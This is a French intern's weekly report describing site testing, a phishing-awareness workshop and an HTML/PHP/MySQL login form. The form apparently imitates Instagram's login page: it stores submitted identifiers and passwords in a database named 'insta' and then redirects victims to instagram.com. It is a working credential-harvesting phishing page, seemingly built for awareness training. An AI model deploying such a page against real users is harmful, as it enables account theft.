

Synthèse - Deuxième Semaine

Lors de cette seconde semaine de stage, ma première tâche a été de réaliser des tests afin de vérifier que toutes les fonctionnalités du site qui est en cours de production par l'entreprise fonctionnaient correctement.

Ma seconde tâche qui a été la principale cette semaine, a été de finir la réalisation de l'atelier de sensibilisation au Phishing (voir document supplémentaire fourni).

Ma troisième tâche a été la réalisation d'un formulaire html, relié à un script php pour l'enregistrer dans une base de donnée MySQL:

Extrait du code HTML:

```
<form action="bd.php" method="post">
    <input type="email" name="username" id="username" placeholder="Numéro de téléphone,
    nom d'utilisateur ou email">
    <input type="password" name="password" id="password" placeholder="Mot de passe">
    <input type="submit" name="submit" value="Connexion">
</form>
```

Extrait Base de donnée SQL:

```
--
-- Base de données : `instaid`
--
-- -----
--
-- Structure de la table `utilisateurs`
--
CREATE TABLE IF NOT EXISTS `utilisateurs` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `identifiant` varchar(255) NOT NULL,
  `mot_de_passe` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=8 ;

--
-- Contenu de la table `utilisateurs`
--
```

Code PHP:

```
<?php
// Connexion à la base de données (à adapter selon vos paramètres)
$servername = "localhost";
$username = "nomUtilisateur";
$password = "password";
$dbname = "insta";

$bdd = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);

// Vérification de la connexion
if (!$bdd) {
    die("La connexion a échoué.");
}

// Vérification si le formulaire a été soumis
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Utilisation des requêtes préparées pour éviter les injections SQL
    $stmt = $bdd->prepare("INSERT INTO utilisateurs (identifiant, mot_de_passe) VALUES (?, ?)");
    if (!$stmt) {
        die("Erreur de préparation de la requête : " . $bdd->errorInfo()[2]);
    }

    // Récupération des données du formulaire
    $identifiant = $_POST["username"];
    $mot_de_passe = password_hash($_POST["password"], PASSWORD_DEFAULT); // Utilisation de
password_hash pour sécuriser le mot de passe

    // Exécution de la requête préparée
    if ($stmt->execute([$identifiant, $mot_de_passe])) {
        // Redirection vers https://www.instagram.com/
        header("Location: https://www.instagram.com/");
        exit(); // Assurez-vous de terminer l'exécution du script après la redirection
    } else {
        echo "Erreur lors de l'enregistrement : " . $stmt->errorInfo()[2];
    }

    // Fermeture de la requête
    $stmt->closeCursor();
}

// Fermeture de la connexion à la base de données
$bdd = null;
?>
```